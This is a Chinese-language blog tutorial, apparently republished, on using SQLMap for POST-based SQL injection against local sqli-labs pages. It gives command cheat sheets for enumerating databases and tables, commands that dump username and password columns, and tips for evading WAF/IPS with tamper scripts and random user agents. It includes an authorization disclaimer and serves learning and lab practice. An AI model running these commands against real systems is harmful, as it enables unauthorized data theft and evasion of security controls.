详细介绍:【SQLMap】POST请求注入

news/2025/9/19 16:59:27/文章来源:https://www.cnblogs.com/yfceshi/p/19101237

SQL注入是Web安全领域最常见的高危漏洞之一,而POST型注入因其数据不可见性,在测试中得特殊处理。SQLMap作为自动化SQL注入应用,能高效地帮助我们发现和利用这类漏洞。

POST注入与GET注入的关键区别

POST注入与GET注入的核心区别在于​​数据传递方式​​不同

特性

GET请求

POST请求

​数据传输方式​

通过URL传递(参数在地址栏可见)

通过请求体传递(数据不可见)

​数据量限制​

较小,受URL长度限制

较大,无URL长度限制

​安全性​

较低,参数易被缓存和记录

相对较高

​测试可见性​

直接可见,易于测试

不可见,需抓包或工具辅助

SQLMap 常用命令速查表

命令参数

功能说明

使用示例

-u <URL>

​指定目标URL​​(最常用)

sqlmap -u "http://example.com/page.php?id=1"

--data=<DATA>

​指定POST请求的数据​

sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass"

-r <FILE>

​从文件加载HTTP请求​​(常用于POST注入)

sqlmap -r request.txt(文件通常由BurpSuite抓包保存)

-p

​指定测试的参数​

sqlmap -u "http://example.com/page.php?id=1&cat=2" -p "id"(只测试id参数)

--forms

​自动检测并测试页面中的表单​

sqlmap -u "http://example.com/login.php" --forms

--current-db

​获取当前数据库名​

sqlmap -u "http://example.com/page.php?id=1" --current-db

--dbs

​枚举所有数据库​

sqlmap -u "http://example.com/page.php?id=1" --dbs

--tables

​枚举指定数据库中的所有表​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> --tables

--columns

​枚举指定表中的所有列​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> -T <table_name> --columns

--dump

​导出(提取)指定表中的数据​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> -T <table_name> --dump

--batch

​使用非交互模式​​(自动选择默认选项)

通常加在其他命令后,避免SQLMap中途询问

--level=<LEVEL>

​设置测试等级​​(1-5,默认1)等级越高,测试越全面

--level=3(会检测User-Agent、Referer头)

--risk=<RISK>

​设置风险等级​​(1-3,默认1)等级越高,测试越具侵入性

--risk=2

SQLMap进行POST注入的实战方法

一:BurpSuite抓包+文件读取

此技巧利用BurpSuite等抓包工具捕获完整的POST请求,保存为资料后供SQLMap直接读取,准确性高。

  1. ​抓包并保存​​:使用BurpSuite拦截POST请求,将完整请求(包括Headers和Body)复制保存为文本文件(如1.txt

  2. ​使用SQLMap读取文件进行测试​

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -dbs # 基本命令

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt --current-db #展示网站库名

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -D security --tables # 获取指定数据库(security)的所有表

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -D security -T users --columns # 获取指定表(users)的所有列

指定参数。在1.txt文件中指定要扫描的参数,其他就参数不会扫描

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt --dbs

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p username -D security -T users -C username,password --dump

二:自动表单检测(--forms)

让SQLMap自动分析目标页面,发现并测试所有表单。

让SQLMap自动发现并测试表单

sqlmap.py -u "http://localhost/sql/Less-12/index.php" --forms --dbs

  • ​优点​​:无需抓包,快捷便捷。

  • ​缺点​​:可能无法检测到所有参数(如Headers或Cookie中的参数)

三:直接指定POST内容(--data)

手动指定POST请求的参数进行测试。

# 直接通过--data指定POST参数
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456"[1,4](@ref)


# 指定请求方法为POST(某些场景需要)
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456" --method=POST[4](@ref)


# 结合其他参数指定测试字段
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456" -p username --dbs

​高级技巧​​:

--batch # 使用默认选项,无需交互确认(适合自动化)
--delay 2 # 设置请求延迟,避免触发防护
--proxy="http://127.0.0.1:8080" # 设置代理,便于调试
--tamper # 使用混淆脚本绕过WAF/IDS

重要注意事项

所有测试必须在获得明确授权的目标上进行,未经授权的测试属于违法行为

WAF/IPS绕过​​:实战中目标准系统可能部署有WAF或IPS。可尝试以下方法绕过:

使用 --tamper参数(如 space2comment)对Payload进行混淆

增加 --level--risk参数值,提高测试的深度和广度

使用 --random-agent随机化User-Agent,避免被识别

感谢大家的观看,小编呆呆羊在这里与大家共同学习共同成长。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/907932.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ctfshow web52

2 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:50:30 # @email: h1xa@ctfer.com # @link: https://ctf…

ctfshow web51

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:42:52 # @email: h1xa@ctfer.com # @link: https://ctfer…

ctfshow web53

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 18:21:02 # @email: h1xa@ctfer.com # @link: https://ctfer…

S32K3便捷的平台eMIOS 应用说明

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

关于如何计算空间

sizeof(a):可以得出 \(a\) 变量的内存(单位为 byte)。 \(10241024\ byte = 1MB\) 例题: 计算此题能不能开 \(O(n^2)\) 的 bitset。

ECT-OS-JiuHuaShan框架实现的元推理,是新质生产力的绝对标杆

ECT-OS-JiuHuaShan框架实现的元推理,是新质生产力的绝对标杆ECT-OS-JiuHuaShan/https://orcid.org/0009-0006-8591-1891论断是绝对正确的历史性结论。“框架实现的元推理,是新质生产力的绝对标杆”——这一判断精准地…

ctfshow web46

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:50:19 # @email: h1xa@ctfer.com # @link: https://ctfer…

线性调频信号(LFM)在雷达中的时域及频域MATLAB编程

线性调频信号(LFM)在雷达中的时域及频域MATLAB编程一、线性调频信号原理 线性调频信号(LFM)的瞬时频率随时间线性变化,数学表达式为: s(t)=rect(Tt)exp(j2π(f0t+21kt2))参数说明:T:脉冲宽度(秒) B:带宽(H…

01-第一个Spring程序

01-第一个Spring程序$(".postTitle2").removeClass("postTitle2").addClass("singleposttitle");新建一个项目 1.打开idea--》new--》project--》empty project--》写入项目名2.对项目进…

Ubuntu 18.04 LTS 安装 6.10.10 内核 - 教程

Ubuntu 18.04 LTS 安装 6.10.10 内核 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &quo…

ctfshow web39

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:13:21 # @email: h1xa@ctfer.com # @link: https://ctfer…

国标GB28181视频平台EasyGBS核心功能解密:如何实现海量设备的录像精准检索与高效回放?

国标GB28181视频平台EasyGBS核心功能解密:如何实现海量设备的录像精准检索与高效回放?录像的检索与回放是安防监控系统的核心价值所在。本文深入解析国标GB28181视频平台EasyGBS的录像回放功能架构,从录像存储机制、…

最大流判定+拆点

1.最短路径转最大流trick:无向图的话,就是建立反边,并且容量均为设定的f[i]即可 思路就是:二分答案x,然后对于权值大于x的容量都设为0,小于等于x的话f[i]设为1,源点是1,汇点是n,如果最大流的值>=K,那么x可以作为答案…

ctfshow web40

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer…

C++ 左值、右值、左值引用、右值引用

1、左值与右值 左值和右值是表达式的属性,核心区别在于:能否取地址、是否有持久的存储。 1.1 左值:有名字、能取地址、可被修改(通常) 左值是 “可以放在赋值号左边” 的表达式(但并非绝对,如 const 左值不能被…

Spring Cloud Gateway WebFlux现cvss10分高危漏洞,可导致环境属性篡改 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

基数排序模板(Radix Sort)

📘 基数排序模板(Radix Sort) 动画演示:https://www.bilibili.com/video/BV1zN4y1e73F 核心思路 基数排序是按位排序的,它从最低位到最高位依次对数据进行排序。它采用的是多次稳定排序(比如计数排序)来处理每…

ctfshow web32

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:56:31 # @email: h1xa@ctfer.com # @link: https://ctfer…

[项目开发经验分享]基于强类型事件的类型参数传递问题 —— 在 .NET Winform项目中如何设计泛型事件总线以实现UI与核心层的解耦

项目简介 本项目是基于 .NET Framework 框架的Winform项目, 实现一键发布博客到各个平台(如WordPress站点、博客园等)的功能 项目结构与定位 Core 项目 这是整个解决方案的核心层,主要负责定义跨模块的通用契约。Core…